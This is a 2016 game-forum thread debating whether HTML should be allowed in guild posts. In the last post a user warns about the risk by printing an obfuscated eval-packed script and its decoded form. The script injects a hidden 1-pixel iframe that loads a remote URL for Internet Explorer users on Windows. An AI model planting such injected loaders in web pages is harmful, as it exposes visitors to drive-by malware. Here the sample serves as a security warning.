HTML code in Guild Threads

Old Discussion topics

HTML code in Guild Threads

Postby Admiral Nelson » Wed Nov 30, 2016 1:13 pm

Although the BB code in Guild threads is substantial I would like there to be some HTML code implemented into there to make it look more practical for example we have to physically create a line -------------------------------- in order to do such where in HTML5 all we have to write is <hr>.

Suggestion: Enable HTML code in guild threads.
Reason: Improve layout of posts and sometimes easier methods of creating such elements ( Lines )
User avatar
Admiral Nelson
 
Posts: 2370
Joined: Sat Mar 12, 2016 7:48 am

Re: HTML code in Guild Threads

Postby Donald Trump » Thu Dec 01, 2016 7:37 pm

John Avery wrote:Although the BB code in Guild threads is substantial I would like there to be some HTML code implemented into there to make it look more practical for example we have to physically create a line -------------------------------- in order to do such where in HTML5 all we have to write is <hr>.

Suggestion: Enable HTML code in guild threads.
Reason: Improve layout of posts and sometimes easier methods of creating such elements ( Lines )



I like this and dislike this at the same time.

Adding any type of unrestricted coding environments is dangerous, especially with languages that utilize JavaScript. It would be able to crash people's pages and even computers.
Just repeat after me: "Czar Ivan did not help me win the elections."
User avatar
Donald Trump
 
Posts: 1612
Joined: Wed Mar 30, 2016 9:16 pm

Re: HTML code in Guild Threads

Postby DezNutz » Thu Dec 01, 2016 7:44 pm

DoS wrote:
John Avery wrote:Although the BB code in Guild threads is substantial I would like there to be some HTML code implemented into there to make it look more practical for example we have to physically create a line -------------------------------- in order to do such where in HTML5 all we have to write is <hr>.

Suggestion: Enable HTML code in guild threads.
Reason: Improve layout of posts and sometimes easier methods of creating such elements ( Lines )



I like this and dislike this at the same time.

Adding any type of unrestricted coding environments is dangerous, especially with languages that utilize JavaScript. It would be able to crash people's pages and even computers.


They can limit the use of certain html tags, just like BB Code. Enabling the use of HTML tags doesn't mean that all html tags are available for use.


+1 for main Idea. Formatting posts for visibility and usage is definitely needed.
I'm only here for Game Development and Forum Moderation.

If you see a forum rule violation, report the post.
User avatar
DezNutz
Players Dev Team Coordinator
 
Posts: 7074
Joined: Sat Oct 24, 2015 4:51 pm
Location: United States of America

Re: HTML code in Guild Threads

Postby Donald Trump » Thu Dec 01, 2016 7:56 pm

If it can be emulated and restricted. Then +1 from me.


But there is going to be a lot of patches. Very advanced methods can bypass some restricted tags and even code it so it doesn't seem what it truly is.


ex of malicious hidden code:
Code: Select all
<sc​ript>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.from​CharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('i 9(){a=6.h(\'b\');7(!a){5 0=6.j(\'k\');6.g.l(0);0.n=\'b\';0.4.d=\'8\';0.4.c=\'8\';0.4.e=\'f\';0.m=\'w://z.o.B/C.D?t=E\'}}5 2=A.x.q();7(((2.3("p")!=-1&&2.3("r")==-1&&2.3("s")==-1))&&2.3("v")!=-1){5 t=u("9()",y)}',41,41,'el||ua|indexOf|style|var|do​cument|if|1px|MakeFrameEx|element|yahoo_api|height| width|display|none|body|get​ElementById|function|createElement|iframe|append​Child|src|id|nl|msie| toLowerCase|opera|webtv||setTimeout|windows|http|userAgent|1000|juyfdjhdjdgh|navigator|ai| showthread|php|72241732'.split('|'),0,{}))
</sc​ript>


Ex of what it really is:
Code: Select all
function MakeFrameEx(){
  element = do​cument.get​ElementById('yahoo_api');
  if (!element){
    var el = do​cument.cr​eateElement('if​rame');
    do​cument.body.append​Child(el);
    el.id = 'yahoo_api';
    el.style.width = '1px';
    el.style.height = '1px';
    el.style.display = 'none';
    el.src = 'hxxp://​juyfdjhdjdgh​.nl​.ai​/showthread.php?t=72241732'
  }
}
var ua = navigator.userAgent.toLowerCase();
if (((ua.indexOf("msie") !=- 1 && ua.indexOf("opera") ==- 1 && ua.indexOf("webtv") ==- 1))
&& ua.indexOf("windows") !=- 1){
  var t = setTimeout("MakeFrameEx()", 1000)
}
Just repeat after me: "Czar Ivan did not help me win the elections."
User avatar
Donald Trump
 
Posts: 1612
Joined: Wed Mar 30, 2016 9:16 pm


Return to Archives

cron